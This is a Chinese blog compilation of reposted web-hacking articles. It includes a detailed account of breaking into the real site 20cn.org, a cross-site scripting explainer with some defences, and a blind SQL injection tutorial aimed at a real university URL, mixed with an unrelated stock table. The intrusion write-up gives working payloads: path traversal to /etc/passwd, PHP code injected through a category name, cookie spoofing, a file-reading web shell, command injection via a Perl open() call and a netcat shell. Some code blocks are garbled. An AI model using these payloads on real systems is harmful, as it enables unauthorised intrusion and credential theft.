Web入侵法总汇

转载 2007年09月18日 11:34:00

本博客专门收集通过网站应用程序这一层次(web application layer)入侵的黑客手法。
通过Web入侵可以避开防火墙,因为所有的操作都是通过HTTP,在端口80进行的。据统计这种入侵方法占internet入侵总数的75%。
本博客致力于帮助广大程序员及网站管理员对这种方法作深入的了解,以便有效的防止黑客的攻击。发表的文章有两种。直接转贴的都在标题注明[转载],其它则为原创或编译文章。

文章

姜太公钓鱼和Phishing

Web入侵法这套武功, 虽然只有16式. 但每一式含有几百甚至上千种变招, 实在是博大精深, 没有绝世奇才是很难全部掌握的. 所以普通的黑客. 都是只选一式, 作深入研究. 并把重点放在创立变招上. 由此生成的众多变招给我们防御造成很多困难.
我们这次讨论的是Cross Site Scripting这一式的第一分式 Phishing. 全世界黑客们在2004年十一月这一个月的时间里, 共创出8459种变招. 比以前有大幅增长. 从统计数字上看, 黑客们使用的诱饵网站有21%是建在大中华区, 仅次于美国的27%. 国内网络用户要提高警惕. 虽然媒体还没有报导, Phishing攻击的高潮很快就要转到中国了.


如果一个网站是一座戒备森严的大楼, SQL注射这一式武功就象小偷, 试图用各种方法撬开大门. 而Cross Site Scripting这一式,则象骗子, 试图接近每一个出入大楼的员工, 想办法骗到员工的工作服, 或出入证, 然后象一名真正的员工一样, 通过警卫的检查, 进入大楼. Phishing就是欺骗方法的一种.

Phishing 这个词是最近才造出来的, 所以字典里查不到. 它的来源是 Fishing, 也就是钓鱼的意思. 发音也是一样. 不同的是, 不象Fisher每次只下一个鱼饵, Phisher每次下几万,甚至几百万鱼饵. Phisher并不在乎有没有鱼咬钩, 因为他知道总有鱼会咬的. 这和当初姜太公用直钩钓鱼是一个意思. 所以我想Phishing翻译成姜太公钓鱼是最和适不过了.

来看看Phishing的定义:

Phishing attacks use 'spoofed' e-mails and fraudulent websites designed to fool recipients into divulging personal financial data such as credit card numbers, account usernames and passwords, social security numbers, etc. By hijacking the trusted brands of well-known banks, online retailers and credit card companies, phishers are able to convince up to 5% of recipients to respond to them.

所以Phisher的鱼饵就是email. 作为一个网上银行(比如说工商行)的用户, 你可能会收到工商行的email,说你的帐号有某方面的问题, 你需要到网站上去改正一下. email里面附有一个链接, 你只要按一下就可以了. 顺着链接到了网站后, 你当然要输入用户名, 密码, 帐号等等. 这些信息就都被黑客拿到了.  黑客的招法, 我在另一片文章里有介绍. 我们这里重点看一下最近一段时间Phishing的泛滥程度.

 

 

- 作者: httphacker 2005年01月11日, 星期二 07:45  回复(0) |  引用(0) 加入博采

2004年在纳斯达克上市的中国公司
突然需要这个数据. google 了一下, 又baidu了一下, 都没找到. 干脆自己到纳斯达克的英文单子里挖吧.

不知道有没有遗漏.(copyright: httphacker.blogchina.com)

  • 上市时间....名称..........首发股数/总股(百万)....首发股价(美元)....首日开盘价/收盘价(美元)
  • 10/28........E龙...........9.2/18.5....................13.6..................22.0/14.4
  • 10/15........金融街.......6.2/99.3....................13.0..................15.5/11.7
  • 09/29........51Job........5.2/53.6...................14.0...................18.98/21.15
  • 07/09........空中网.......10.0/34.2..................10.0..................10.25/10.10
  • 05/13........盛大..........13.9/69.8.................11.0..................11.3/11.97
  • 03/10........TOM..........11.2/48.7.................15.55.................15.75/15.58
  • 03/04........掌上灵通.....6.1/25.0..................14.0...................19.0/17.42

可以看出:

  • 都是和Internet相关的. 但没有一家纯做企业服务的. 看来在现在的中国, 做企业服务还是赚不到大钱. 重点还要放在中国总量世界第一的销费者身上.
  • 创办人都有国外工作经历. 投资也都以国外为主. 最后把公司拿到到纳仔去卖钱, 典型的两头在外.
  • 虽然都是Internet公司, 技术含量却很低, 大家看好的还是商业模式, 及市场.
  • 两家手机, 一家旅游, 一家金融, 一家找工作, 一家游戏, 一家门户. 不象以前集中在门户上. 大有百花齐放的样子. 难到Internet春天又回来了? 大家有想法的赶快干吧. Internet可是每100年才有一次的工业革命啊.

*第一次工业革命:1702-1875, 蒸汽机.第二次工业革命:1875-1905, 电的应用

 

 

 

 

- 作者: httphacker 2005年01月6日, 星期四 05:38  回复(0) |  引用(0) 加入博采

[转载]剑走偏锋--灵巧的脚本攻击
武学之中, 出其不意、剑走偏锋才能发挥灵巧之长。在防火墙广泛地应用于网络之间执行访问控制策略的今天,以往被漠视的CGI安全悄然兴起,形形色色的脚本攻击在防火墙的"认同"下大行其道,看似简单的脚本实质上处处暗藏玄机。本文真实再现利用脚本缺陷善意侵入20CN的全过程,试图让您得到一点乐趣和启示。

------------------------------------------------------------

作者:Envymask <130@21cn.com>
站点:http://envymask.3322.org
幻影旅团:http://www.ph4nt0m.net/bbs/

作者:[C4ST] PsKey <PsKey@hotmail.com>
站点:http://www.isgrey.com
小组主页:http://c4st.51.net
小组论坛:http://analysist.tocare.net
----------------------------------------------------------

20CN.ORG(20CN网络安全小组)是国内较为知名的黑客/安全站点,偶然间,我们开始了对她的安全测试。

没有任何迟疑,我们直接从WEB下手。据了解:20CN整站程序由站主NetDemon编写。基于代码规模和复杂度方面的考虑,我们把目光集中到了网站论坛。我们习惯首先查看用户信息,因为用户名和用户密码总是紧贴着保存在一起,在这里我们更容易接近我们渴求的信息。提交如下URL查看NetDemon用户信息:

http://www.20cn.org/cgi-bin/club/scripts/userinfo.pl?user=netdemon
正常返回用户信息

http://www.20cn.org/cgi-bin/club/scripts/userinfo.pl?user=./netdemon
出错提示:论坛系统出现问题!

http://www.20cn.org/cgi-bin/club/scripts/userinfo.pl?user=netdemon%00
返回用户信息的"发贴数量"出现了一个莫名其妙的字符串,其他的一部分信息也全乱了

看来这里有点问题,这个字符串到底是怎么回事?我们用以前申请的ID登陆上去后,看到每个URL的QUERY_STRING后面都有一个名为key的变量,而且其值和上述的字符串有些相似。难道这个是密码?我们接连登陆几次后,观察到这个key值每次都不一样,看来这个key是用来识别我们在论坛的身份,应该与用户密码没有直接关系...还是先不管这个key值了,继续用我们的ID做实验,提交了这个URL

http://www.20cn.org/cgi-bin/club/scripts/userinfo.pl?user=envymask%00

出来的还是跟先前类似的字符串,这个时候我们大胆猜测这个字符串是我们的密码,通过验证,我们发现这的确是把我们密码经过标准DES加密后得到的字符串。这证明了我们的猜测是正确的,这个字符串中就是加密过后的用户密码。但为什么密码会溜出来?于是我们接着推测:在用户数据目录里面肯定有两个保存每个用户信息的文件,一个里面保存有密码,而另一个没有,只有一些一般的信息,如邮箱,生日之类的。这两个文件应该一个是username,另一个是username.xxx(加了一个后缀)。userinfo.pl这个程序使用open函数打开文件的时候没有对user这个变量过滤完全,至少没有过滤掉 /0,这使得试图打开username.xxx文件的时候实质上打开的并不是username.xxx而是username。打开文件的代码可能是这样写的open(F,"$path/$username.xxx");所以当user=abcdef%00的时候相当于open(F,"$path/abcdef");而这个文件里正是保存用户密码的那个文件,所以部分用户信息变量直接到该文件中错误地取值,之后再反馈输出给用户,这样密码就出来了。惬意...我们随即找出了站长netdemon的密码,暴力破解的念头一闪而过后,我们看还能不能进一步突破这个目录,于是提交

http://www.20cn.org/cgi-bin/club/scripts/userinfo.pl?user=../../../../../../../etc/passwd%00

密码档文件出来了,看来这里有搞头,继续

http://www.20cn.org/cgi-bin/club/scripts/userinfo.pl?user=../../../../../../../etc/%00

受页面输出格式限制,我们只能查看到/etc目录中一部分文件和目录;于是试着打开一些文件,但也只能查看到文件的一些很小的片段,几乎没什么用,连续查看了很多文件过后,都没有新的突破,我们有点失望了。于是我们暂时把这个BUG放在一边,看看还有没有其他文件存在缺陷,继续找一些CGI程序如display.pl,show.pl等,都没有发现可以突破的地方,因为这些文件都做了一些过滤,看来这条路走不通了。

既然CGI方面不能突破,那就只有另想路子了。我们拿着那个userinfo.pl到处查看一些片段文件和目录,首先搜寻apache的配置文件,最后在/usr/local/etc/apache目录下找到了httpd.conf ,但还是只能查看文件头几行,这些根本没什么用。又跑到/home目录下看了看,嗯,有好多用户,比先前查看/etc/passwd里面的用户多多了,因为查看/etc/passwd的时候只能看到头几行,随便进了一个用户tomy的目录,咦,见到了目录/public_html,看来系统有可能给每个用户分配了发布个人主页的空间,有意思, 看在浏览器里面能不能访问到

http://www.20cn.org/~tomy

呵,看到这家伙的个人主页了,再看看里面的东西,这时我们意外地看到了一个/phpmyadmin目录,立刻访问,发现竟然没有密码验证。现在的我们相当于得到了一个Mysql的用户,我们试图通过phpmyadmin往数据库里写东西,内容是一个小的phpshell,然后导出到主页目录里,忙活了半天,终于全写进去了,但往硬盘上写的时候却发现没有权限写,一阵郁闷袭来...

继续查看了几个用户的目录,大部分都没有发布更多的东西,只有些静态的页面。经过一番努力后,我们终于找到了冤大头--shuaishuai(帅帅)这个用户,转到他发布的主页上看看,哈,发现了这个

http://www.20cn.org/~shuaishuai/show.php?filename=20030329185337.txt

好家伙,看看能不能跳转目录

http://www.20cn.org/~shuaishuai/show.php?filename=../../../../../../../etc/passwd

返回了下面这些东西给我们
Warning: is_file() [function.is-file]: SAFE MODE Restriction in effect. The script whose uid is 1007 is not allowed to access ./data//../../../../../../etc/passwd owned by uid 0 in /usr/home/shuaishuai/public_html/show.php on line 77

失败,但并不是不能跳转,只是没有权限而已。那好,我们再试着看看能不能查看有权限的文件

http://www.20cn.org/~shuaishuai/show.php?filename=../../../../../../../home/shuaishuai/public_html/post.php

呵呵,成功了,看到了post.php这个文件的源代码,太棒了,我们就把这个做为突破口。但这个只能查看shuaishuai这个用户的文件,不能查看到其他文件,而且只是能查看文件似乎还不够,我们希望得到一个shell,这看起来似乎比较困难。还是另看看其他,其实shuaishuai的主页上东西蛮多的,还有一个留言板,是X-pad.这个留言板可以让用户注册后留言,每个注册用户在/User目录下面都有一个配置文件,保留了用户的一些信息,在查看注册文件源代码后我们发现它并没有过滤完全,至少有一个变量可以使我们可以插入我们的代码。于是我们申请了一个用户在HOMEPAGE这个字段插入了我们的代码,使我们的用户配置文件看起来像这样:

<?
$User_Psw  = "1234";
$User_QQ  = "";
$User_EMail  = "";
$User_Homepage = "http:///";copy($a,$b);unlink($a);#";
$User_Avatar = "Styles/Avatars/blank.gif";
$User_BBSMode = "0";
?>

上面这个php文件使我们可以上传文件到指定目录和删除有权限删除的文件.但在执行过程中却发现不行,为什么?原来没有看清楚

$User_Homepage = "http:///";copy($a,$b);unlink($a);#";

这一行中我们提交的"(引号)前面被自动插入了/,使得它不是php语句中的双引号("),而是变量中的(") 。即$User_Homepage变量值为 "http:///";copy($a,$b);unlink($a);#" 整个字符串,并没有起到预期的作用。看来 magic_quotes_gpc = on,再告失败。

没有气馁,我们继续耐心地查找其他可以利用的东西,马上我们又发现了http://www.20cn.org/~shuaishuai/down_sys/ 这么个下载系统.经过查看目录和查看下载系统的源文件(因为我们有权限查看这个目录里的文件),在down_sys/data/user/目录下面发现了管理员的用户文件,里面包含了密码,但令人头痛的是管理员密码是经过md5加密的。此时我们没有轻易放弃这个经加密的密码,我们即刻查看管理员验证的代码,在/down_sys/admin/global.php这个文件中发现了其验证方式包含cookie验证,相关代码如下:
......
if (isset($password)) $password=md5($password);
if (empty($username)) $username=$HTTP_COOKIE_VARS['bymid'];
if (empty($password)) $password=$HTTP_COOKIE_VARS['bympwd'];

if(!checkpass($username,$password)) {
admintitle();
adminlogin();
exit;
}
......

完全可以进行一次cookie欺骗。我们这里使用的是一种比较烦琐的方法:
先断开网络,将我们的IP改为20cn.org的IP,然后在%systemroot%/system32/drivers/etc/hosts文件里把www.20cn.org这个域名指向20cn.org的IP,做这一步是为了我们在断开网络的时候能够成功的将www.20cn.org解析成它的IP.最后在我们的IIS里面自已建一个虚拟目录/~shuaishuai/down_sys/admin/写一个asp文件,把cookie设置为管理员的用户名和加过密的密码,asp文件内容如下:

<%
response.cookies("bymid")="adminuser"
response.cookies("bympwd")="596a96cc7bf91abcd896f33c44aedc8a"
%>

然后访问这个asp文件

http://www.20cn.org/~shuaishuai/down_sys/admin/cookie.asp

留着这个窗口,把IP改回为原来的192.168.0.1,接着用这个窗口请求

http://www.20cn.org/~shuaishuai/down_sys/admin/admin.php

管理界面出来了,通过了验证。接着我们来上传文件...可下面的事让我们气恼了好久,竟然没有上传文件的功能,Fiant,是一个没开发完全的半成品,彻底失望了吗?不,我们依然有信心,接着查看一下其他的文件,看看能不能对配置文件动点手脚,我们找到了一个class.php,里面保存的是下载系统的一些软件分类信息,内容看起来像这样:

5|安全工具|1028372222
8|红客工具|1034038173
7|其它软件|1034202097
....
我们试着往里面写东西,于是在管理页面新添加一个主分类,分类的名称为"<?copy ($a,$b);unlink($a);?>",提交过后class.php变成了这样

5|安全工具|1028372222
8|红客工具|1034038173
7|其它软件|1034202097
9|<?copy($a,$b);unlink($a);?>|1054035604

这个php文件可以让我们上传文件到有权限目录和删除有权限删除的文件。于是我们在本地写了一个表单,上传一个phpshell上去,然后访问

http://www.20cn.org/~shuaishuai/down_sys/data/sh.php

GOOD,返回了phpshell的界面...一阵高兴过后,我们才发现这个phpshell什么命令都不能执行,原来网站PHP打开了safe_mode功能,限制我们执行命令。但我们已经有了很大的突破了,可以向服务器上传文件了。接下来我们利用PHP丰富的内置函数写了很多小脚本上传测试,很不幸,系统利用 disable_functions 禁止了大部分的文件系统函数、目录函数...好在并没有赶尽杀绝,最后我们写了下面一个php程序来查看一些有权限查看的目录和文件:

<?
$c = $HTTP_GET_VARS["c"];
$f = $HTTP_GET_VARS["f"];
if($c=="file") {
$file=readfile($f);
echo $file;
}
if($c=="dir") {
$h=opendir($f);
while($file=readdir($h)) {
echo "$file/n";
}
}
if($c=="del") {
unlink($f);
}
?>

在做了很多尝试过后,我们发现在PHP上不能获得新的突破,好在我们可以利用上面那个php程序来查看www.20cn.org/cgi-bin/club/scripts/ 目录中程序脚本的完整的代码,于是我们决定改向回到起点、查看CGI文件,由于没有权限向可执行CGI程序的目录里写文件, 新写一个CGI程序来执行命令是不现实的,所以决定利用现有的.pl程序来插入命令,目标自然是放在perl的open函数上,于是我们开始查找哪些程序用了open函数,但找了好多.pl文件,都没有发现,但却看到有好多readfile()函数,记得perl里面是没有这个函数的,但这里却用了很多readfile(),为什么呢?这肯定是他们自已定义的一个函数,我们看到每一个.pl文件前几行都有一个use Club;原来这里有个模块,于是查看Club.pm,很快便发现了open函数.

sub readkey {
my($file)=@_;
unless(open(FH,"$file")) {
errmsg("对不起!你超时了,请<a href=/"$login_page/" target=/"_parent/">重新登陆</a>");
exit;
}
unless(flock(FH,LOCK_SH)) {
errmsg("Can't Lock File: $file");
}
my $data = <FH>;
close(FH);
return $data;
}

这就是那个自定义的readfile函数,证实了我们的猜想,而且也找到了一个符合要求的open函数,接着搜寻哪个文件调用了这个函数,很快我们在change_pw.pl这个程序里找到了这个函数调用,这个程序用来修改用户的密码,不幸的是代码在判断用户旧密码是否正确前就调用了 readkey() 函数:

my $key_info=readkey("$key_dir/$key");

于是提交

http://www.20cn.org/cgi-bin/club/scripts/change_pw.pl?passwd0=1&passwd1=22&passwd2=22&key=../../../../../../../../bin/ls%20>bbb%20|

再查看一下

http://www.20cn.org/cgi-bin/club/scripts/bbb

Yeah!成功执行了...出现了我们期望的结果,这真是太妙了,可以利用这个来执行命令,就相当于得到了一个shell。但这样办事毕竟不方便,不能及时地查看我们的运行结果。因此我们又上传了一个文件、编译、执行,然后

D:/temp>nc -vv www.20cn.org 12345
www.20cn.org [211.161.57.29] 12345 (?) open
id
uid=80(www) gid=80(www) groups=80(www)
uname -a
FreeBSD ns8.20cn.com 4.8-RELEASE FreeBSD 4.8-RELEASE #1: Wed Apr 2 07:01:40 CST 2003  root@ns8.20cn.com:/usr/obj/usr/src/sys/20CN i386

哦,是FreeBSD 4.8-RELEASE,版本很高,提升权限比较困难,我们找了好久都没有找到有效的local exploit,提升权限失败,只好作罢。

到这里,我们的hacking基本上结束了。虽然没拿到root,但至少拿到了网站WEB权限,对于我们CGI安全爱好者来说,应该算是完成了本职工作吧-)。之后我们迅速与站主联系,提醒他网站存在安全隐患,但站主并没有向我们询问细节,他自己通过分析日志修复了漏洞。 

- 作者: httphacker 2005年01月5日, 星期三 06:09  回复(0) |  引用(0) 加入博采

[转载]温柔杀手-跨站Script攻击
作者:未知 来源:CnXHacker.Net 每当我们想到黑客的时候,黑客往往是这样一幅画像:一个孤独的人,悄悄进入别人的服务器中,进行破坏或者窃取别人的秘密资料。也许他会更改我们的主页,甚者会窃取客户的信用卡号和密码。另外,黑客还会攻击访问我们网站的客户。与此同时,我们的服务器也成了他的帮凶。微软称这种攻击为"跨站script"攻击。而这种攻击大多数都发生在网站动态产生网页的时侯,但黑客的目标并不是你的网站,而是浏览网站的客户。
跨站script攻击的说明

  在一本名为<>的杂志中,CERT警告大家:如果服务器对客户的输入不进行有效验证,黑客就会输入一些恶意的HTML代码,当这些HTML代码输入是用于SCRIPT程序,他们就能利用它来进行破坏,如插入一些令人厌恶的图片或声音等,同时,也能干扰了客户正确浏览网页。

  我们知道,有些朋友曾经被诱导到一些可疑的免费网站,他们得到的仅仅是10到20个小的窗口,这些窗口常常伴随着由JAVA 或 JAVASCRIPT生成的失效安钮,这被称为鼠标陷阱。关闭这些窗口是徒劳的,每当我们关闭一个窗口,又会有10几个窗口弹出。这种情况常常发生在管理员没在的时侯发生。鼠标事件是黑客利用跨站SCRIPT方法攻客户的典型范例。

  恶意的标签和SCRIPT不单纯的恶作剧,他们甚至可以窃取资料和捣毁系统。一个聪明的甚至是不够聪明的黑客都能够使用SCRIPT干扰或者改变服务器数据的输入。利用SCRIPT代码也能攻击客户系统,让你的硬盘尽损。而且你要知道,在你一边使用服务器的时候,黑客的SCRIPT也正在你服务器里安全的地方运行着的呀!如果客户对你的服务器非常信认,同样他们也会信任那些恶意的SCRIPT代码。甚至这个代码是以〈SCRIPT〉或者〈OBJECT〉的形式来自黑客的服务器。

  即使使用了防火墙(SSL)也不能防止跨站SCRIPT的攻击。那是因为如果生成恶意SCRIPT代码的设备也使用了SSL,我们服务器的SSL是不能辨别出这些代码来的。我们难道就这样把客户曾经那么信任的网站拱手让给黑客吗?而且有这种破坏的存在,会让你网站名誉尽损的。

一、跨站SCRIPT攻击示例:

  根据CERT的资料,动态输入大致有这几种形式:URL参数,表格元素,COOKISE以及数据请求。让我们来分析一下,这个只有两个页面的网站,网站名为:MYNICESITE.COM。第一页使用一张表格或COOKIE来获取用户名:















MyNiceSite.com





Enter your MyNiceSite.com username:













第二页返回用户名以示欢迎:











Hello:






  当你正常常输入文字时,一切都很正常。如果你输入Script代码: ,JavaScript警告标签就会弹出来:
  在你下一次访问时,这个警示标签同样会出现;这是因为这个Script代码在你第一次访问的时后就已经留在cookie中了。这是一个简单的跨站攻击的范例。

  如果你认为这是一个特殊情况,你也不妨到网上别的地方看看,亲自试一下。我曾经对一些大型的政府网站、教育网站以及商业网站进行过测试,他们当中的确有部分出现了以上所说的情况,我甚至发现了我经常使用信用卡的网站也居然对输入不进行任何过滤,想想真是可怕。
二、 用E-Mail进行跨站Script攻击

  跨站script攻击用在列表服务器,usenet服务器和邮件服务器来得特别容易。下面还是以MyNiceSite.com网站为例进行说明。由于你经常浏览这个网站,它的内容也的确让你爱不爱不释手,因此在不知不觉中你就把浏览器的改成了总是信任这个动态网站内容的设置。

  MyNiceSite.com网站总是通过出售征订它们Email信件的邮箱地址来获得收入,这的确是一种不太好的办法。于是我买了它的一份邮箱地址。并发了大量的邮件给你们。在信中我告诉你们尽快访问这个网 站,并检查你们帐户使用的最新情况。为了让你们感到方便,我在这信中也作了链接。我在这链接URL中的username参数中舔加了script代码。有些客户在不知不觉中就点击了这个链接,也就是说上了我的当(如图),同时我也从中得到了好处:


  它是这样工作的,当你点击这个链接的时后,在链接里的script代码就会引导你所用浏览器去下载我的JavaScript程序并执行它。我的Script检查到你使用的是IE浏览器后,就着手下载ActiceX控件 particularlyNasty.dll。因为之前你已经把这个网站的内容认为总是安全的,这样,我的script代码和Active 控件就能在你机器上自由自在的运行了。

三、 Activex攻击说明

  在讨论ActiveX时,CERT和微软都没提到跨站script方法所带来的的危险。W3C在<<安全常见问题解答>>中对ActiveX的安全问题作了比较详尽的说明。Java applet对系统的控制受到严格限制。SUN开发它时就规定,只有那些对系统的安全不构成威胁的操作才被允许运行。

  在另一方面,ActiveX对系统的操作就没有严格地被限制。如果一但被下载,就可以象安装的可执行程序一样做他们想干的事情。针对这一特点IE浏览器也作了某些限制,如对于那些不安全的站点,在它的默认设置中就会不允许你进行下载或者会给你警告的提示。正在基于ActiveX进行开发的公司,如VeriSign公司,它们对ActiveX控件都给编了号。当你在下载控件的时后,IE浏览器会给你警告并显示它的可信籁程度。由用户决定是否相信这个控件。这样一来系统的安全性就增加了。

  但是,对于那些没有多少经验的用户来说,他们往往不自觉地对原来的设置进行了修改,让这些控件在没有任何提示的情况下就下载了。另外,对一个新手来说,即使在有提示的情况下也会不加思索地下载那些没作任何标记的控件。在我们所举的例子中,由于你对该站点的信任,改了浏览器的设置,这样,ActiveX控件在不经过任何提示的情况下就下载,并在你的机器上不知不觉地开始运行。

四、16进制编码的ActiveX Script 攻击

  要把用心不良的标签和script区分出来是一件非常困难的事。Script还可以16进制的形式把自己藏起来。让我们看看下面这个E-mail范例好吗?它是以16进制的形式被发送出去的:


  这几乎是一封完整的邮件,里面包含了以16进制伪造的URL参数:sender=mynicesite.com。当用户点击链接时,用户的浏览器就会直接开始第一例所说的处理过程而弹出警告窗口。
第二部分:跨站Script攻击的防犯

一、如何避免服务器受到跨站Script的攻击

  值得庆幸的是,防止跨站Script攻击的技术正趋于完善。目前可采取这几种方式来防止跨站Script的攻击:

1.对动态生成的页面的字符进行编码

2.对输入进行过滤和限制

3.使用HTML和URL编码

1.对动态生成的页面的字符进行编码

  你们首先要采用的就是对动态生成页面的字符进行编码,你必须这样做,不然黑客很有可能更改你的字符设置而轻易地通过你的防线。如果我们的网站是个英语网站,这样只要我们把字符编码设成拉丁字符ISO-8859-1就行了,具体情况如下:



2.过滤和限制所有输入的数据

  这是防止跨站Script的攻击的第二种方法,在进行登录的时侯,不要让那些特殊的字符也输入进去。因此我们可在ONSUBMIT方法中加入JAVASCRIPT程序来完成这个功能。在本例中我们限制最多只能输入15个字符。这样可以阻止那些较长的script的输入。

  在<>这本书中微软提供了一个简短的Javascript程序来完成对输入数据的过滤。我们也根据具体情况引进了这段代码用于我们的例子中,如:

function checkForm() {

document.forms[0].userName.value = _

RemoveBad(document.forms[0].userName.value);

return true;

}

// MICROSOFT'S CODE

function RemoveBad(strTemp) {

strTemp = strTemp.replace(////"//'//%//;//(//)//&//+//-/g,"");

return strTemp;

}
用这个办法,可以过滤在输入中含有的这些字符:

% < > [ ] { } ; & + - " '( )

3.使用HTML和URL编码

  尽管使用上面所说的过滤和限制输入的办法是一种非常重要用防御手段,但它对我的这种采用邮件方式的攻击还是无能为力。因为我把URL的参数直接放在邮件中。针对这种情况我们不得不采取一种更有力的安全措施。如果我们用的ASP,解决起来相对说来要容易得多。只要对动态生成的网页总进行HTML和URL编码就行了。针对我们例子中的情况,在第一输入页中我们对redirect URL作了如下改动:

strRedirectUrl = strRedirectUrl & _

server.URLEncode(Response.Cookies("userName"))


在执行页中我们加入:

strUserName =server.HTMLEncode(Request.QueryString("userName"))



strUserName =server.HTMLEncode(Request.Form("userName"))

  微软推荐对所有动态页面的输入和输出都应进行编码。甚至在对数据库数据的存入和取出也应如此。这样你就能在很大程度上避免跨站script的攻击。


要做到这些还要在Page1.asp中加入:
























MyNiceSite.com








Enter your MyNiceSite.com username:













Page2.asp中加如:
















Hello:







  现在由于这种攻击遭到有效的防制。那于那些恶意的标签和Script被编码,他们就被以文字的形式显现了出来,如下图:


  我们也可增加一个IIS组件用于过滤所有从动态输入中的特殊字符。对于那些已经做好的网站,采用这种办法来防止跨站script的攻击来得非常容易。我们的这个控件能拦截来自ASP页面的REQUEST目标,可对表格,cookie,请求字串和程序的内容进行检测:

  我们也可以通过编写log文件的方法把统计数据加入这个组件中。每当一个客户输入一个非法字符时,这个组件会记下它的IP地址和时间。详情请见Doug Dean的<>一文。

  我们只需采取一些简单的步聚就能有效地阻止跨站script的攻击。除了以上所说的三种方法外,微软和CERT还强烈推荐使用一种他们称之为"sanity check"的方法。例如,假设有个输入窗口只允许输入数字,我们就给它做个限定,只允许0-9数字的输入。微软和CERT所采用的这种对输入的字符进行限定的办法要比单独的采用过滤特殊字符要好得多。采用了这些措施后你就能让那些参观你网站的客户在访问你网站时受到保护。

二、免受黑客攻击我们浏览器方法:

  当你在网上漫游的时侯,怎样来避免受到攻击呢?微软和CERT建议不要在网上胡碰乱撞。针对这种情况,PC杂志一个栏目的名叫John Dvorack作者作了一个饶有兴趣的回答。他认为这是微软公司一起有预谋的行为:就是用来恐吓网上冲浪的人到那些安全的站点去浏览,如美国在线和MSN.com网站。

  在我们所举的例子中,即使你不在网上胡乱游荡,也不能避免在网上遭到黑客的袭击。具有讽刺意义的是,大多数的危险都来自于我们最信任的网站。如果要让网站一定不出问题,你只好不下载任何动态内容或者任何cookie。预知详情请参阅浏览器的相关资料。

  微软也警告你们应把浏览器的Active Script设置成严格限制的状态并把Email也设成严格限制的接收模式。在点击邮件中的链接时,一定要小心。如需进一步了解情况请参阅一本名叫<>的书。为了以防万一,你最好是多一点上网经验,并且时刻要小心谨慎。

结论

  如果你是以前的UNIX程序开发人员,你也许不会知道跨站script意谓着什么。你知道许多站点的管理人员登录的用户名和密码分别为root,root.同样许多数据库管理员的名称和密码分别为sa,password。你也知道Webzine(如Phrack 和 Alt2600),依据他们所提供的方法能让你一步步地知道某台服务器的弱点。在这种硬件上,你也知道许多网站的数据库服务器和web服务器都没有进行自我保护。一但遭遇黑客,机器就得瘫痪。

  尽管我们很容易采取防止系统受到黑客的攻击的措施,但我们的系统是一直暴露在黑客面前的。我们完全有理由相信下一年还会出现一些新的安全漏洞。在CERT公司John Howard先生指导下完成的一篇论文中曾提到:"跟据目前的研究显示,每个在英特网上具有域名的网站平均一年被黑客至少攻击一次。"

  对服务器来说那怕只是一次这种攻击也是不能承受的。跨站Script攻击是黑客可采用的另一种方法。但我们只要进行以上所说的一些简单的处理就能防止这种形式攻击的发生。

※ 本文来源: 中国X黑客小组[CnXHacker.Net]  作者: 未知 ※

- 作者: httphacker 2005年01月5日, 星期三 05:34  回复(0) |  引用(0) 加入博采

[转载]菜鸟学习SQL注射
一般国内的小一点的新闻站点程序 都有 ""&request 这种漏洞,下面我讲解攻击方法: 在地址栏输入:and 1=1. 查看漏洞是否存在,如果存在就正常返回该页,如果没有,则显示错误,继续假设这个站的数据库存在一个admin表.
在地址栏:
and 0<>(select count(*) from admin)

返回页正常,假设成立了。

下面来猜猜看一下管理员表里面有几个管理员ID:

and 1<(select count(*) from admin)

页面什么都没有。管理员的数量等于或者小于1个

and 1=(select count(*) from admin)

输入=1没显示错误,说明此站点只有一个管理员。

下面就是要继续猜测admin 里面关于管理员用户名和密码的字段名称。

and 1=(select count(*) from admin where len(username)>0)

猜解错误!不存在 username 这个字段。只要一直改变括号里面的username这个字段,下面给大家几个常用的
user,users,member,members,userlist,memberlist,userinfo,admin,manager,用户,yonghu


用户名称字段猜解完成之后继续猜解密码字段
and 1=(select count(*) from admin where len(password)>0)

password 字段存在!因为密码字段一般都是这个拉,如果不是就试试pass如果还不是就自己想想吧

我们已经知道了管理员表里面有3个字段 id,user,password。
id 编号
user 用户名
password 密码
下面继续的就是管理员用户名和密码的猜解了。一个一个来,有点麻烦,最好找个猜解机来

先猜出长度!

and 1=(select count(*) from admin where len(user)<10)

user 字段长度小于10

and 1=(select count(*) from admin where len(user)<5)

user 字段长度不小于5

慢慢的来,最后猜出长度等于6,请看下面,返回正常就说明猜解正确
and 1=(select count(*) from admin where len(user)=6)

下面猜密码,
and 1=(select count(*) from admin where len(password)=10)

猜出来密码10位,不要奇怪,现在网管都有防备的,所以密码上20位也不太奇怪了


下面该做的就是把他们拆开来一个一个猜字母
and 1=(select count(*) from admin where left(user,1)=a)
返回正常,第一位字母等于a,千万不要把大写和小写给搞错了哦~~呵呵,如果不a就继续猜其他的字符落,反正猜到返回正常就算OK了

开始猜解帐号的第二位字符。

and 1=(select count(*) from admin where left(user,2)=ad)

就这样一次加一个字符这样猜,猜到够你刚才猜出来的多少位了就对了,帐号就算出来了

工作还没有完,别忙着跑了,还有10位密码,呵呵

and 1=(select count(*) from admin where left(password,1)=a)

经过无数次错误之后......
http://xyz.hytc.edu.cn/new2/article_view.asp?id=2499 and 1=(select count(*) from admin where left(password,10)=administra)

结果密码是administra
看完文章,大家不要照着我的文章做,网络上的东西是变幻无穷的,但是我相信大家的大脑肯定比他变得快,所以希望大家看了这个文章灵活运用!那样才能达到理想的效果

- 作者: httphacker 2005年01月4日, 星期二 07:36  回复(0) |  引用(0) 加入博采

[转载]入侵日记一则(CPB论坛注入攻击)
昨晚又通宵了一晚,今天睡了一天,醒来时郁闷闷的。。。。。。,心烦!已经全然没有了学习的兴趣~登陆QQ看看,好友全不在线。无聊信手乱开网页,来到本地一个比较有名的网站,看了看,比上次来时多加了些新东西。反正没事做,就检测一下这个站的安全性吧。(我不是黑客,却有着黑色的信仰,网络安全永远是我的爱好!)

在网站转了一下,看到也有文章系统。不过是HTM的,但用鼠标指向连接,可以看到:
http://xxx.xxx.xxx/0019/open.asp?id=888&path=wshl&filename&=200381171455.htm

我提交http://xxx.xxx.xxx/0019/open.asp?id=888 and 1=1

跳回主页

接着提交http://xxx.xxx.xxx/0019/open.asp?id=888 and 1=2

跳回主页

看来是不能利用了。:(

接着,用XSCAN扫了下端口和CGI,IIS漏洞

打开CMD命令提示符窗口,输入PING XXX.XXX.XXX(XXX为网址),从返回信息得到IP-----SSS。SSS。SSS。SSS
晕,开了很多端口,给我的第一印象就是-----这站够垃圾~

看主机开的那些端口,和我机子上WIN2000SERVER默认开的端口差不多,估计是WIN2000SERVER版。
